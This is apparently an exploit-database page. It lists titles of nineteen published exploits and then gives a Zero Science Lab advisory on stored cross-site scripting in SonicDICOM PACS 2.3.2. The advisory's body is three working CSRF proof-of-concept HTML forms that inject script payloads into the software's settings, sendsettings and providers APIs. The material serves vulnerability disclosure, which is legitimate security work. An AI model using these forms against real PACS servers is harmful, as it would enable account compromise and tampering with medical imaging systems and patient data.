8b6bfd7f93
19 new exploits Cimetrics BACstac 6.2f - Privilege Escalation Cimetrics BACnet Explorer 4.0 - XML External Entity Injection SonicDICOM PACS 2.3.2 - Cross-Site Scripting SonicDICOM PACS 2.3.2 - Cross-Site Request Forgery (Add Admin) SonicDICOM PACS 2.3.2 - Privilege Escalation Kodi 17.1 - Arbitrary File Disclosure WhizBiz 1.9 - SQL Injection TI Online Examination System 2.0 - SQL Injection Viavi Real Estate - SQL Injection Viavi Movie Review - 'id' Parameter SQL Injection Viavi Product Review - 'id' Parameter SQL Injection Quadz School Management System 3.1 - 'uisd' Parameter SQL Injection Domains & Hostings Manager PRO 3.0 - 'entries' Parameter SQL Injection Joomla! Component onisPetitions 2.5 - 'tag' Parameter SQL Injection Joomla! Component onisQuotes 2.5 - 'tag' Parameter SQL Injection Joomla! Component onisMusic 2 - 'tag' Parameter SQL Injection Joomla! Component Sponsor Wall 7.0 - 'wallid' Parameter SQL Injection Joomla! Component Vik Booking 1.7 - SQL Injection Joomla! Component Soccer Bet 4.1.5 - 'cat' Parameter SQL Injection
78 lines
2.7 KiB
HTML
Executable file
78 lines
2.7 KiB
HTML
Executable file
SonicDICOM PACS 2.3.2 Multiple Stored Cross-Site Scripting Vulnerabilities
|
|
|
|
|
|
Vendor: JIUN Corporation
|
|
Product web page: https://www.sonicdicom.com
|
|
Affected version: 2.3.2 and 2.3.1
|
|
|
|
Summary: SonicDICOM is PACS software that combines the capabilities of
|
|
DICOM Server with web browser based DICOM Viewer.
|
|
|
|
Desc: The application suffers from multiple stored XSS vulnerabilities.
|
|
Input passed to several API POST parameters is not properly sanitised
|
|
before being returned to the user. This can be exploited to execute
|
|
arbitrary HTML and script code in a user's browser session in context
|
|
of an affected site.
|
|
|
|
Tested on: Microsoft-HTTPAPI/2.0
|
|
|
|
|
|
Vulnerability discovered by Gjoko 'LiquidWorm' Krstic
|
|
@zeroscience
|
|
|
|
|
|
Advisory ID: ZSL-2017-5394
|
|
Advisory URL: http://www.zeroscience.mk/en/vulnerabilities/ZSL-2017-5394.php
|
|
|
|
22.11.2016
|
|
|
|
--
|
|
|
|
|
|
CSRF Stored XSS via value parameter in settings API:
|
|
----------------------------------------------------
|
|
|
|
<html>
|
|
<body>
|
|
<form action="http://172.19.0.214/viewer/api/settings/add" method="POST">
|
|
<input type="hidden" name="id" value="testingus" />
|
|
<input type="hidden" name="key" value="viewer.display.overlay.tl" />
|
|
<input type="hidden" name="value" value="{"angle":{"item_name":"Angle","display_name":"\"><script>alert(1)</script>"}}" />
|
|
<input type="submit" value="Request #1" />
|
|
</form>
|
|
</body>
|
|
</html>
|
|
|
|
|
|
CSRF Stored XSS via Name parameter in sendsettings API:
|
|
-------------------------------------------------------
|
|
|
|
<html>
|
|
<body>
|
|
<form action="http://172.19.0.214/viewer/api/sendsettings/create" method="POST">
|
|
<input type="hidden" name="Name" value=""><script>prompt(2)</script>" />
|
|
<input type="hidden" name="IPAddress" value="1.1.1.1" />
|
|
<input type="hidden" name="Port" value="123" />
|
|
<input type="hidden" name="CalledAETitle" value="asd" />
|
|
<input type="hidden" name="CallingAETitle" value="dsa" />
|
|
<input type="submit" value="Request #2" />
|
|
</form>
|
|
</body>
|
|
</html>
|
|
|
|
|
|
CSRF Stored XSS via Name parameter in providers API:
|
|
----------------------------------------------------
|
|
|
|
<html>
|
|
<body>
|
|
<form action="http://172.19.0.214/viewer/api/providers/create" method="POST">
|
|
<input type="hidden" name="Name" value=""><script>confirm(2)</script>" />
|
|
<input type="hidden" name="Port" value="123" />
|
|
<input type="hidden" name="AETitle" value="ZSL" />
|
|
<input type="hidden" name="AllowAnonymousUsers" value="true" />
|
|
<input type="hidden" name="IsAnonymous" value="true" />
|
|
<input type="submit" value="Request #3" />
|
|
</form>
|
|
</body>
|
|
</html>
|